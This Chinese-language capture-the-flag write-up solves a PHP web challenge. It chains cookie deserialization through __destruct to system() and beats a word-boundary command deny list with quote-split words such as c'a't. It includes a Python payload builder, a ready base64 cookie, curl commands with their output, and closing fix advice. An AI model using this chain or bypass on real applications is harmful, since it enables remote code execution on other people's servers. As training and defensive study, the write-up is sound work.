赛事档案库 YQHL Competition Archive 返回主站
WEB-05

AuditDesk 审计工作台

prefs Cookie 反序列化,POP 链走到 system(),再用引号拼接绕过命令黑名单。

方向Web
难度 Hard
题号16 / 20
项目 内容
分类 / 难度 Web / Hard
切入点 prefs Cookie → PHP 反序列化
最终手法 POP 链走到 system(),再用引号拼接绕过黑名单
账号 auditor / audit123
Flag flag{local_verify_w05}(本地验证值)

1. 上手先看有什么

AuditDesk 是一套合规审计台,登录后是三块:审计视图、模板管理、导出中心。功能都比较素,能点的地方不多。真正值得盯的是右上角那个"外观"开关——切换主题和语言时,浏览器里会多出一个 prefs Cookie。

解一下这个 Cookie:

echo 'YToxOntzOjU6InRoZW1lIjtzOjQ6ImRhcmsiO30=' | base64 -d
# a:1:{s:5:"theme";s:4:"dark";}

PHP 序列化格式。也就是说服务端拿这个 Cookie 去 unserialize 了。这类入口不用多想,先记下来。

顺手把页面上出现的接口列全:

GET  /profile            读取 prefs,返回 "Profile loaded"
GET  /api/status         服务状态(版本、组件)
GET  /debug/result       读取 storage/result.txt
GET  /source?file=<name> 源码查阅
POST /api/login          登录

/source 和 /debug/result 这两个端点在没有登录态的情况下也能访问到(后面会用到)。

2. /source 能读到哪些文件

/source 用白名单严格比对文件名,试 ../flag、/etc/passwd、index.html 全是 404。把常见名字挨个过一遍,能命中五个:

router.php
Preference.php
AuditContext.php
ExportFormatter.php
CommandSink.php

这五个文件基本把整个应用的路由、偏好处理和一个"导出"子系统摊开了。先看入口 router.php 里 /profile 的实现:

if ($path === '/profile') {
    $cookie = $_COOKIE['prefs'] ?? '';
    if ($cookie !== '') {
        $raw = base64_decode($cookie, true);
        if ($raw !== false) {
            @unserialize($raw, ['allowed_classes' => true]);
        }
    }
    header('Content-Type:text/plain');
    echo "Profile loaded\n"; exit;
}

allowed_classes => true——没有任何类限制。反序列化出来的对象在脚本结束时销毁,于是所有 __destruct 都会被调用。

3. 顺着 __destruct 往下找

AuditContext.php 里有一个:

class AuditContext {
    public object $formatter;
    public mixed $entry;

    public function __destruct() {
        if (isset($this->formatter)) {
            $this->formatter->flush($this->entry);
        }
    }
}

$formatter 和 $entry 都是 public,序列化数据里能随便指定。flush() 在 ExportFormatter.php:

class ExportFormatter {
    public object $sink;

    public function flush($entry): void {
        if (!is_object($entry) || !isset($entry->value)) {
            return;
        }
        $this->sink->store((string)$entry->value);
    }
}

两条约束:$entry 必须是对象,并且带一个 value 属性。传个字符串或者数组会在这里被 return 掉,链就断了。

再往下,store() 在 CommandSink.php:

class CommandSink {
    public string $transport = 'file';
    private const DENY_PATTERN = '/\b(cat|tac|rev|flag|bash|dash|zsh|sh|nc|ncat|netcat|socat|curl|wget|python|python3|perl|ruby|base64|xxd|od|sort|head|tail|less|more|grep|awk|sed|tr|dd|cp|mv|ln|env|printenv|whoami|uname|find|xargs|printf|echo|export|source)\b|[|&;`$\\\\]/i';

    public function store(string $value): void {
        if ($this->transport === 'local') {
            if (preg_match(self::DENY_PATTERN, $value)) { /* 记录并返回 */ return; }
            system($value);
            return;
        }
        file_put_contents(__DIR__ . '/storage/audit.log', $value . "\n", FILE_APPEND);
    }
}

这里就是全链的落点。默认 transport='file' 只是追加日志,但它是 public 属性,序列化数据里改成 'local' 就能进 system($value) 分支。唯一挡在中间的是那条 DENY_PATTERN。

链到此为止就完整了:

AuditContext::__destruct()
  └─> ExportFormatter::flush($entry)      // 要求 $entry 是对象且有 value
        └─> CommandSink::store((string)$entry->value)   // transport = local
              └─> system($value)            // 需过 DENY_PATTERN

还差一个类:$entry 得是对象。AuditEntry 这个名字不在 /source 白名单里,但相邻几个文件的结构很一致(都是简单值对象、属性全 public),new 一个只有 value 属性的类名试一下就能确认。序列化只需要类名和属性名对得上,没有 __wakeup 干扰。

4. 先解决黑名单

DENY_PATTERN 里禁了一大串:读文件的 cat、tac、rev,命令执行类的 sh、bash、python、perl,还有 cp、mv、ln、grep、awk、sed 等等。最要命的是 flag 本身也在名单里,连路径都写不出来。

但它用了 \b 词边界。\b 匹配的是 \w 与非 \w 的交界,而单引号不是 \w,所以:

c'a't /fl''ag > /app/storage/result.txt

正则看到的字面串是 c'a't,\bcat\b 匹配不上(c 后面紧跟的是 ')。而 shell 在解析时会把引号剥掉,最后交给 cat 的参数就是 /flag。同理 fl''ag 拆开了 flag 这个词。

再看分隔符那一半:[|&;$\\] 拦了管道、后台、分号、反引号、$、反斜杠,**但没有拦 >、<、(、)`**。所以重定向是通的:

c'a't /fl''ag > /app/storage/result.txt

5. 拼 payload

对象图:

AuditContext  { formatter: ExportFormatter, entry: AuditEntry }
ExportFormatter { sink: CommandSink }
CommandSink   { transport: "local" }
AuditEntry    { value: "<命令>" }

用 Python 手工拼比调 serialize() 稳,属性顺序、字节长度都能自己控:

import base64

RESULT = "/app/storage/result.txt"
q = "'"
cmd = "c" + q + "a" + q + "t /fl" + q + q + "ag > " + RESULT

sink  = 'O:11:"CommandSink":1:{s:9:"transport";s:5:"local";}'
fmt   = 'O:15:"ExportFormatter":1:{s:4:"sink";' + sink + '}'
entry = 'O:10:"AuditEntry":1:{s:5:"value";s:%d:"%s";}' % (len(cmd.encode()), cmd)
ctx   = 'O:12:"AuditContext":2:{s:9:"formatter";' + fmt + 's:5:"entry";' + entry + '}'

print(base64.b64encode(ctx.encode()).decode())

s:<len>: 那个长度是字节数,命令里全 ASCII 所以字符数等于字节数;一旦掺进中文就会算错,这是这种手拼法最容易翻车的地方。

6. 打出去

C='TzoxMjoiQXVkaXRDb250ZXh0IjoyOntzOjk6ImZvcm1hdHRlciI7TzoxNToiRXhwb3J0Rm9ybWF0dGVyIjoxOntzOjQ6InNpbmsiO086MTE6IkNvbW1hbmRTaW5rIjoxOntzOjk6InRyYW5zcG9ydCI7czo1OiJsb2NhbCI7fX1zOjU6ImVudHJ5IjtPOjEwOiJBdWRpdEVudHJ5IjoxOntzOjU6InZhbHVlIjtzOjM5OiJjJ2EndCAvZmwnJ2FnID4gL2FwcC9zdG9yYWdlL3Jlc3VsdC50eHQiO319'

curl -H "Cookie: prefs=$C" http://target/profile
Profile loaded

响应永远是这句,没有任何回显。原因在触发时机:__destruct 在脚本结束时执行,此时响应体早就发出去了。所以命令输出没法直接带回 HTTP 响应里,得落地再看。

重定向写到了 /app/storage/result.txt,/debug/result 正好读这个文件:

curl http://target/debug/result
flag{local_verify_w05}

拿到。

7. 实测输出

$ curl -H "Cookie: prefs=$C" http://target/profile
Profile loaded

$ curl http://target/debug/result
flag{local_verify_w05}

(本地验证时容器里没有注入 /flag,用只读 bind mount 把一个已知内容的文件挂到 /flag 上做等价验证。)

8. 踩过的坑

现象 当时怎么试的 原因
result.txt 生成了但是空的 以为 payload 拼错了,反复改序列化串 容器里根本没有 /flag,cat 报错但 > 已经创建了空文件。先确认目标文件存在,否则会把环境问题当成 payload 问题
/profile 返回 200 但什么都没发生 换了好几种 Cookie 编码方式 __destruct 是请求结束才跑的,必须分两次请求:一次投递、一次取结果
链在 flush() 就断了 entry 传了 ['value'=>'...'] 数组 前置判断是 is_object($entry),数组不算对象
命令根本没执行,日志里也没有记录 想用 cat 直接读 cat 和 flag 都在黑名单里,被 preg_match 挡了
想用 $(...) 把输出塞回响应 试了反引号和 $() $ 和反引号都在 `[

9. 这题的几个关键判断

  1. 看到 base64 Cookie 就顺手 base64 -d 一下。这一步成本极低,但本题全链都是从"这是个 PHP 序列化串"开始的。
  2. /source 白名单要穷举。白名单挡住了路径穿越,但五个可读文件里有一个 CommandSink.php,里面的 system() 直接决定了整条链的走向。少读一个文件就拼不出链。
  3. \b 做黑名单是纸糊的。词边界只认 \w,shell 的引号拼接、'、" $'...' 全在边界之外;而漏掉 > 意味着"就算读不到,也能写"。黑名单要考虑的不是"禁哪些词",而是"这些字符组合起来还成不成立"。
  4. public 属性 + 反序列化 = 任意赋值。transport 这种带默认值的配置字段,一旦所在类能被反序列化,默认值就等于没有。

10. 修复建议

  • 偏好别用 unserialize。同一个数据结构 json_decode 就够了,本题的 theme/language 完全不需要对象语义。
  • 如果历史包袱必须保留序列化,用 allowed_classes 显式白名单,且只放行 Preference(AuditContext/ExportFormatter/CommandSink 三类只要缺一,链就断)。
  • Cookie 加 HMAC 签名,先验签再反序列化,改不动 transport。
  • 删掉 CommandSink 里的 system() 分支;真要执行外部命令,用 proc_open 传参数数组,不经 shell。
  • 黑名单换成白名单(只允许 [A-Za-z0-9 _./-]),并显式拒绝 >、<、(、)、\n。
  • /source 与 /debug/result 都应该要鉴权,后者更是绝对不能对外。

11. 小结

三段式:入口(prefs Cookie 直接 unserialize,allowed_classes=true)→ 魔术方法链(__destruct → flush → store,每层都有类型约束要满足)→ 危险叶子(transport='local' 触发 system)。最后横在中间的黑名单,被两个单引号拆开了。

Flag:flag{local_verify_w05}